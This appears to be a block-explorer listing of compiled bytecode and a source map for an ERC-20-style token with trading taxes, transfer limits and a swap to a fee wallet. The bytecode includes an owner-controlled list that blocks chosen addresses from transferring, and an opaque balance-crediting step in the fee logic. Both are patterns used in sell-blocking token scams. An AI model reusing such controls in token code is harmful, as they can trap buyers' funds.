f919061349f565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611d438184611f1690919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d8b919061346c565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611e2e8487611f1690919063ffffffff16565b604051611e3b9190612a26565b60405180910390a350505b505050565b5f838311158290611e92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8991906128e8565b60405180910390fd5b505f8385611ea0919061349f565b9050809150509392505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611f12573d5f803e3d5ffd5b5050565b5f611f5783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e4b565b905092915050565b5f808284611f6d919061346c565b905083811015611fb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa99061351c565b60405180910390fd5b8091505092915050565b5f80611ffa6064611fec600b54600e5411611fd957600754611fdd565b6009545b8661275790919063ffffffff16565b6127ce90919063ffffffff16565b9050836120c05761203360056120195f86611f5f90919063ffffffff16565b60056120259190612e81565b6127ce90919063ffffffff16565b60015f8615801561204357505f86115b61206f57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612071565b885b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546120b8919061346c565b925050819055505b60065f9054906101000a900460ff16156122465760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415801561217e575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15612245574360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410612202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f9906135d0565b60405180910390fd5b4360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161480156122ef575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015612342575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156123fc57600f5483111561238c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238390613638565b60405180910390fd5b6010548361239987610aed565b6123a3919061346c565b11156123e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123db906136a0565b60405180910390fd5b600e5f8154809291906123f6906136be565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614801561248457503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b156124c8576124c560646124b7600c54600e54116124a4576008546124a8565b600a545b8661275790919063ffffffff16565b6127ce90919063ffffffff16565b90505b80915050949350505050565b5f8183116124e257826124e4565b815b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561252357612522612ac7565b5b6040519080825280602002602001820160405280156125515781602001602082028036833780820191505090505b50905030815f8151811061256857612567612f2a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561260c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906126309190612f6b565b8160018151811061264457612643612f2a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126aa3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611364565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161270c9594939291906137bc565b5f604051808303815f87803b158015612723575f80fd5b505af1158015612735573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b5f808303612767575f90506127c8565b5f82846127749190612e81565b90508284826127839190613841565b146127c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ba906138e1565b60405180910390fd5b809150505b92915050565b5f61280f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612817565b905092915050565b5f808311829061285d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285491906128e8565b60405180910390fd5b505f838561286b9190613841565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6128ba82612878565b6128c48185612882565b93506128d4818560208601612892565b6128dd816128a0565b840191505092915050565b5f6020820190508181035f83015261290081846128b0565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61294282612919565b9050919050565b61295281612938565b811461295c575f80fd5b50565b5f8135905061296d81612949565b92915050565b5f819050919050565b61298581612973565b811461298f575f80fd5b50565b5f813590506129a08161297c565b92915050565b5f80604083850312156129bc576129bb612911565b5b5f6129c98582860161295f565b92505060206129da85828601612992565b9150509250929050565b5f8115159050919050565b6129f8816129e4565b82525050565b5f602082019050612a115f8301846129ef565b92915050565b612a2081612973565b82525050565b5f602082019050612a395f830184612a17565b92915050565b5f805f60608486031215612a5657612a55612911565b5b5f612a638682870161295f565b9350506020612a748682870161295f565b9250506040612a8586828701612992565b9150509250925092565b5f60ff82169050919050565b612aa481612a8f565b82525050565b5f602082019050612abd5f830184612a9b565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612afd826128a0565b810181811067ffffffffffffffff82111715612b1c57612b1b612ac7565b5b80604052505050565b5f612b2e612908565b9050612b3a8282612af4565b919050565b5f67ffffffffffffffff821115612b5957612b58612ac7565b5b602082029050602081019050919050565b5f80fd5b5f612b80612b7b84612b3f565b612b25565b90508083825260208201905060208402830185811115612ba357612ba2612b6a565b5b835b81811015612bcc5780612bb8888261295f565b845260208401935050602081019050612ba5565b5050509392505050565b5f82601f830112612bea57612be9612ac3565b5b8135612bfa848260208601612b6e565b91505092915050565b5f60208284031215612c1857612c17612911565b5b5f82013567ffffffffffffffff811115612c3557612c34612915565b5b612c4184828501612bd6565b91505092915050565b5f60208284031215612c5f57612c5e612911565b5b5f612c6c8482850161295f565b91505092915050565b612c7e81612938565b82525050565b5f602082019050612c975f830184612c75565b92915050565b5f8060408385031215612cb357612cb2612911565b5b5f612cc08582860161295f565b9250506020612cd18582860161295f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612d5d57808604811115612d3957612d38612cdb565b5b6001851615612d485780820291505b8081029050612d5685612d08565b9450612d1d565b94509492505050565b5f82612d755760019050612e30565b81612d82575f9050612e30565b8160018114612d985760028114612da257612dd1565b6001915050612e30565b60ff841115612db457612db3612cdb565b5b8360020a915084821115612dcb57612dca612cdb565b5b50612e30565b5060208310610133831016604e8410600b8410161715612e065782820a905083811115612e0157612e00612cdb565b5b612e30565b612e138484846001612d14565b92509050818404811115612e2a57612e29612cdb565b5b81810290505b9392505050565b5f612e4182612973565b9150612e4c83612a8f565b9250612e797fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612d66565b905092915050565b5f612e8b82612973565b9150612e9683612973565b9250828202612ea481612973565b91508282048414831517612ebb57612eba612cdb565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612ef6602083612882565b9150612f0182612ec2565b602082019050919050565b5f6020820190508181035f830152612f2381612eea565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050612f6581612949565b92915050565b5f60208284031215612f8057612f7f612911565b5b5f612f8d84828501612f57565b91505092915050565b5f604082019050612fa95f830185612c75565b612fb66020830184612c75565b9392505050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612ff1601783612882565b9150612ffc82612fbd565b602082019050919050565b5f6020820190508181035f83015261301e81612fe5565b9050919050565b5f819050919050565b5f819050919050565b5f61305161304c61304784613025565b61302e565b612973565b9050919050565b61306181613037565b82525050565b5f60c08201905061307a5f830189612c75565b6130876020830188612a17565b6130946040830187613058565b6130a16060830186613058565b6130ae6080830185612c75565b6130bb60a0830184612a17565b979650505050505050565b5f815190506130d48161297c565b92915050565b5f805f606084860312156130f1576130f0612911565b5b5f6130fe868287016130c6565b935050602061310f868287016130c6565b9250506040613120868287016130c6565b9150509250925092565b5f60408201905061313d5f830185612c75565b61314a6020830184612a17565b9392505050565b61315a816129e4565b8114613164575f80fd5b50565b5f8151905061317581613151565b92915050565b5f602082840312156131905761318f612911565b5b5f61319d84828501613167565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613200602483612882565b915061320b826131a6565b604082019050919050565b5f6020820190508181035f83015261322d816131f4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61328e602283612882565b915061329982613234565b604082019050919050565b5f6020820190508181035f8301526132bb81613282565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61331c602583612882565b9150613327826132c2565b604082019050919050565b5f6020820190508181035f83015261334981613310565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6133aa602383612882565b91506133b582613350565b604082019050919050565b5f6020820190508181035f8301526133d78161339e565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613438602983612882565b9150613443826133de565b604082019050919050565b5f6020820190508181035f8301526134658161342c565b9050919050565b5f61347682612973565b915061348183612973565b925082820190508082111561349957613498612cdb565b5b92915050565b5f6134a982612973565b91506134b483612973565b92508282039050818111156134cc576134cb612cdb565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613506601b83612882565b9150613511826134d2565b602082019050919050565b5f6020820190508181035f830152613533816134fa565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f6135ba604983612882565b91506135c58261353a565b606082019050919050565b5f6020820190508181035f8301526135e7816135ae565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f613622601983612882565b915061362d826135ee565b602082019050919050565b5f6020820190508181035f83015261364f81613616565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f61368a601a83612882565b915061369582613656565b602082019050919050565b5f6020820190508181035f8301526136b78161367e565b9050919050565b5f6136c882612973565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036136fa576136f9612cdb565b5b600182019050919050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61373781612938565b82525050565b5f613748838361372e565b60208301905092915050565b5f602082019050919050565b5f61376a82613705565b613774818561370f565b935061377f8361371f565b805f5b838110156137af578151613796888261373d565b97506137a183613754565b925050600181019050613782565b5085935050505092915050565b5f60a0820190506137cf5f830188612a17565b6137dc6020830187613058565b81810360408301526137ee8186613760565b90506137fd6060830185612c75565b61380a6080830184612a17565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61384b82612973565b915061385683612973565b92508261386657613865613814565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6138cb602183612882565b91506138d682613871565b604082019050919050565b5f6020820190508181035f8301526138f8816138bf565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122089b1497948216e05fb5461ee75bd70b6ebb7f251e5b1a3310fa4bfdc455d819364736f6c63430008190033

Deployed Bytecode Sourcemap

4199:9834:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6575:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7456:186;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5424:55;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6852:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7993:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6761:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12220:168;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12396:86;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6177:390;;;;;;;;;;;;;:::i;:::-;;6955:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4044:148;;;;;;;;;;;;;:::i;:::-;;13125:201;;;;;;;;;;;;;:::i;:::-;;5233:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3830:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5296:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6666:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12490:95;;;;;;;;;;;;;:::i;:::-;;7080:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5361:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4580:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12048:164;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7280:168;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13334:483;;;;;;;;;;;;;:::i;:::-;;6575:83;6612:13;6645:5;;;;;;;;;;;;;;;;;6638:12;;6575:83;:::o;7456:186::-;7556:4;7573:39;7582:12;:10;:12::i;:::-;7596:7;7605:6;7573:8;:39::i;:::-;7630:4;7623:11;;7456:186;;;;:::o;5424:55::-;;;;:::o;6852:95::-;6905:7;5038:1;5094:2;:15;;;;:::i;:::-;5081:10;:28;;;;:::i;:::-;6925:14;;6852:95;:::o;7993:446::-;8125:4;8142:36;8152:6;8160:9;8171:6;8142:9;:36::i;:::-;8189:220;8212:6;8233:12;:10;:12::i;:::-;8260:138;8316:6;8260:138;;;;;;;;;;;;;;;;;:11;:19;8272:6;8260:19;;;;;;;;;;;;;;;:33;8280:12;:10;:12::i;:::-;8260:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;8189:8;:220::i;:::-;8427:4;8420:11;;7993:446;;;;;:::o;6761:83::-;6802:5;5038:1;6820:16;;6761:83;:::o;12220:168::-;3967:12;:10;:12::i;:::-;3957:22;;:6;;;;;;;;;;:22;;;3949:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12295:6:::1;12290:91;12311:6;:13;12307:1;:17;12290:91;;;12364:5;12346:4;:15;12351:6;12358:1;12351:9;;;;;;;;:::i;:::-;;;;;;;;12346:15;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;12326:3;;;;;;;12290:91;;;;12220:168:::0;:::o;12396:86::-;12443:4;12467;:7;12472:1;12467:7;;;;;;;;;;;;;;;;;;;;;;;;;12460:14;;12396:86;;;:::o;6177:390::-;3967:12;:10;:12::i;:::-;3957:22;;:6;;;;;;;;;;:22;;;3949:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6279:42:::1;6228:15;;:104;;;;;;;;;;;;;;;;;;6343:58;6360:4;6375:15;;;;;;;;;;;5038:1;5094:2;:15;;;;:::i;:::-;5081:10;:28;;;;:::i;:::-;6343:8;:58::i;:::-;6446:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6428:55;;;6506:4;6526:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6428:131;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6412:13;;:147;;;;;;;;;;;;;;;;;;6177:390::o:0;6955:117::-;7021:7;7048;:16;7056:7;7048:16;;;;;;;;;;;;;;;;7041:23;;6955:117;;;:::o;4044:148::-;3967:12;:10;:12::i;:::-;3957:22;;:6;;;;;;;;;;:22;;;3949:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4151:1:::1;4114:40;;4135:6;::::0;::::1;;;;;;;;4114:40;;;;;;;;;;;;4182:1;4165:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;4044:148::o:0;13125:201::-;3967:12;:10;:12::i;:::-;3957:22;;:6;;;;;;;;;;:22;;;3949:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5038:1:::1;5094:2;:15;;;;:::i;:::-;5081:10;:28;;;;:::i;:::-;13179:12;:22;;;;5038:1;5094:2;:15;;;;:::i;:::-;5081:10;:28;;;;:::i;:::-;13212:14;:24;;;;13270:5;13247:20;;:28;;;;;;;;;;;;;;;;;;13291:27;5038:1;5094:2;:15;;;;:::i;:::-;5081:10;:28;;;;:::i;:::-;13291:27;;;;;;:::i;:::-;;;;;;;;13125:201::o:0;5233:56::-;;;;:::o;3830:79::-;3868:7;3895:6;;;;;;;;;;;3888:13;;3830:79;:::o;5296:58::-;;;;:::o;6666:87::-;6705:13;6738:7;;;;;;;;;;;;;;;;;6731:14;;6666:87;:::o;12490:95::-;3967:12;:10;:12::i;:::-;3957:22;;:6;;;;;;;;;;:22;;;3949:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12542:35:::1;12555:21;12542:12;:35::i;:::-;12490:95::o:0;7080:192::-;7183:4;7200:42;7210:12;:10;:12::i;:::-;7224:9;7235:6;7200:9;:42::i;:::-;7260:4;7253:11;;7080:192;;;;:::o;5361:56::-;;;;:::o;4580:40::-;;;;;;;;;;;;;:::o;12048:164::-;3967:12;:10;:12::i;:::-;3957:22;;:6;;;;;;;;;;:22;;;3949:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12122:6:::1;12117:88;12138:5;:12;12134:1;:16;12117:88;;;12189:4;12172;:14;12177:5;12183:1;12177:8;;;;;;;;:::i;:::-;;;;;;;;12172:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;12152:3;;;;;;;12117:88;;;;12048:164:::0;:::o;7280:168::-;7386:7;7413:11;:18;7425:5;7413:18;;;;;;;;;;;;;;;:27;7432:7;7413:27;;;;;;;;;;;;;;;;7406:34;;7280:168;;;;:::o;13334:483::-;3967:12;:10;:12::i;:::-;3957:22;;:6;;;;;;;;;;:22;;;3949:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13394:11:::1;::::0;::::1;;;;;;;;13393:12;13385:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;13446:15;;;;;;;;;;;:31;;;13485:21;13530:4;13550:24;13568:4;13550:9;:24::i;:::-;13589:1;13605::::0;13621:7:::1;:5;:7::i;:::-;13643:15;13446:223;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;13687:13;;;;;;;;;;;13680:29;;;13718:15;;;;;;;;;;;13736:14;13680:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13776:4;13762:11;;:18;;;;;;;;;;;;;;;;;;13805:4;13791:11;::::0;:18:::1;;;;;;;;;;;;;;;;;;13334:483::o:0;3383:98::-;3436:7;3463:10;3456:17;;3383:98;:::o;7650:335::-;7760:1;7743:19;;:5;:19;;;7735:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7841:1;7822:21;;:7;:21;;;7814:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7923:6;7893:11;:18;7905:5;7893:18;;;;;;;;;;;;;;;:27;7912:7;7893:27;;;;;;;;;;;;;;;:36;;;;7961:7;7945:32;;7954:5;7945:32;;;7970:6;7945:32;;;;;;:::i;:::-;;;;;;;;7650:335;;;:::o;10151:1889::-;10260:1;10244:18;;:4;:18;;;10236:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10315:14;10338:13;;;;;;;;;;;10332:19;;:2;:19;;;;:39;;;;10363:8;;;;;;;;;;;10355:16;;:4;:16;;;;10332:39;:64;;;;10383:13;;;;;;;;;;;10375:21;;:4;:21;;;10332:64;10315:81;;10429:1;10415:16;;:2;:16;;;10407:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;10504:1;10490:11;:15;10482:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;10577:11;;;;;;;;;;;10576:12;:22;;;;10592:6;;;;;;;;;;;10576:22;10572:230;;;10631:30;10649:11;10631:7;:13;10639:4;10631:13;;;;;;;;;;;;;;;;:17;;:30;;;;:::i;:::-;10615:7;:13;10623:4;10615:13;;;;;;;;;;;;;;;:46;;;;10690:28;10706:11;10690:7;:11;10698:2;10690:11;;;;;;;;;;;;;;;;:15;;:28;;;;:::i;:::-;10676:7;:11;10684:2;10676:11;;;;;;;;;;;;;;;:42;;;;10753:2;10738:31;;10747:4;10738:31;;;10757:11;10738:31;;;;;;:::i;:::-;;;;;;;;10784:7;;;10572:230;10814:17;10858:7;:5;:7::i;:::-;10850:15;;:4;:15;;;;:32;;;;;10875:7;:5;:7::i;:::-;10869:13;;:2;:13;;;;10850:32;10846:827;;;10908:4;:10;10913:4;10908:10;;;;;;;;;;;;;;;;;;;;;;;;;10907:11;:24;;;;;10923:4;:8;10928:2;10923:8;;;;;;;;;;;;;;;;;;;;;;;;;10922:9;10907:24;10899:33;;;;;;10973:46;10986:4;10992:2;10996:9;11007:11;10973:12;:46::i;:::-;10961:58;;11036:28;11067:24;11085:4;11067:9;:24::i;:::-;11036:55;;11129:6;;;;;;;;;;;11128:7;:47;;;;;11162:13;;;;;;;;;;;11156:19;;:2;:19;;;11128:47;:79;;;;;11196:11;;;;;;;;;;;11128:79;:130;;;;;11240:18;;11228:9;;:30;11128:130;:176;;;;;11280:18;:24;11299:4;11280:24;;;;;;;;;;;;;;;;;;;;;;;;;11279:25;11128:176;:220;;;;;11326:18;:22;11345:2;11326:22;;;;;;;;;;;;;;;;;;;;;;;;;11325:23;11128:220;11106:556;;;11409:17;;11386:20;:40;11383:210;;;11451:122;11494:56;11498:11;11511:38;11515:20;11537:11;;11511:3;:38::i;:::-;11494:3;:56::i;:::-;11451:16;:122::i;:::-;11383:210;11611:35;11624:21;11611:12;:35::i;:::-;11106:556;10884:789;10846:827;11701:1;11689:9;:13;11685:165;;;11769:9;11744:7;:22;11760:4;11744:22;;;;;;;;;;;;;;;;:34;;;;:::i;:::-;11719:7;:22;11735:4;11719:22;;;;;;;;;;;;;;;:59;;;;11821:4;11798:40;;11807:4;11798:40;;;11828:9;11798:40;;;;;;:::i;:::-;;;;;;;;11685:165;11894:11;11878:7;:13;11886:4;11878:13;;;;;;;;;;;;;;;;:27;;;;:::i;:::-;11862:7;:13;11870:4;11862:13;;;;;;;;;;;;;;;:43;;;;11944:26;11960:9;11944:11;:15;;:26;;;;:::i;:::-;11930:7;:11;11938:2;11930:11;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;11916:7;:11;11924:2;11916:11;;;;;;;;;;;;;;;:54;;;;12001:2;11986:46;;11995:4;11986:46;;;12005:26;12021:9;12005:11;:15;;:26;;;;:::i;:::-;11986:46;;;;;;:::i;:::-;;;;;;;;10225:1815;;10151:1889;;;;:::o;1825:224::-;1945:7;1978:1;1973;:6;;1981:12;1965:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2005:9;2021:1;2017;:5;;;;:::i;:::-;2005:17;;2040:1;2033:8;;;1825:224;;;;;:::o;13940:90::-;13997:8;;;;;;;;;;;:17;;:25;14015:6;13997:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13940:90;:::o;1681:136::-;1739:7;1766:43;1770:1;1773;1766:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1759:50;;1681:136;;;;:::o;1494:179::-;1552:7;1572:9;1588:1;1584;:5;;;;:::i;:::-;1572:17;;1613:1;1608;:6;;1600:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1664:1;1657:8;;;1494:179;;;;:::o;8447:1696::-;8548:7;8569:17;8589:189;8774:3;8589:166;8650:15;;8638:9;;:27;8637:103;;8726:14;;8637:103;;;8690:12;;8637:103;8589:11;:29;;:166;;;;:::i;:::-;:184;;:189;;;;:::i;:::-;8569:209;;8783:9;8779:96;;8844:31;8873:1;8847:20;8863:3;8847:11;:15;;:20;;;;:::i;:::-;8845:1;:22;;;;:::i;:::-;8844:28;;:31;;;;:::i;:::-;8794:7;:48;8803:9;8802:10;:25;;;;;8826:1;8814:11;:13;8802:25;:39;;8833:8;;;;;;;;;;;8802:39;;;8828:4;8802:39;8794:48;;;;;;;;;;;;;;;;:81;;;;;;;:::i;:::-;;;;;;;;8779:96;8900:20;;;;;;;;;;;8896:478;;;8973:15;;;;;;;;;;;8959:30;;:2;:30;;;;:79;;;;;9024:13;;;;;;;;;;;9010:28;;:2;:28;;;;8959:79;8937:426;;;9145:12;9103:28;:39;9132:9;9103:39;;;;;;;;;;;;;;;;:54;9073:201;;;;;;;;;;;;:::i;:::-;;;;;;;;;9335:12;9293:28;:39;9322:9;9293:39;;;;;;;;;;;;;;;:54;;;;8937:426;8896:478;9412:13;;;;;;;;;;;9404:21;;:4;:21;;;:68;;;;;9456:15;;;;;;;;;;;9442:30;;:2;:30;;;;9404:68;:108;;;;;9490:18;:22;9509:2;9490:22;;;;;;;;;;;;;;;;;;;;;;;;;9489:23;9404:108;9386:404;;;9562:12;;9547:11;:27;;9539:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;9676:14;;9661:11;9645:13;9655:2;9645:9;:13::i;:::-;:27;;;;:::i;:::-;:45;;9619:133;;;;;;;;;;;;:::i;:::-;;;;;;;;;9767:9;;:11;;;;;;;;;:::i;:::-;;;;;;9386:404;9812:13;;;;;;;;;;;9806:19;;:2;:19;;;:44;;;;;9845:4;9829:21;;:4;:21;;;;9806:44;9802:305;;;9879:216;10091:3;9879:189;9948:16;;9936:9;;:28;9935:114;;10034:15;;9935:114;;;9993:13;;9935:114;9879:11;:33;;:189;;;;:::i;:::-;:211;;:216;;;;:::i;:::-;9867:228;;9802:305;10126:9;10119:16;;;8447:1696;;;;;;:::o;13825:107::-;13882:7;13914:1;13910;:5;13909:15;;13923:1;13909:15;;;13919:1;13909:15;13902:22;;13825:107;;;;:::o;12634:483::-;5772:4;5763:6;;:13;;;;;;;;;;;;;;;;;;12712:21:::1;12750:1;12736:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12712:40;;12781:4;12763;12768:1;12763:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;12807:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12797:4;12802:1;12797:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;12840:62;12857:4;12872:15;;;;;;;;;;;12890:11;12840:8;:62::i;:::-;12913:15;;;;;;;;;;;:66;;;12994:11;13020:1;13036:4;13063;13083:15;12913:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;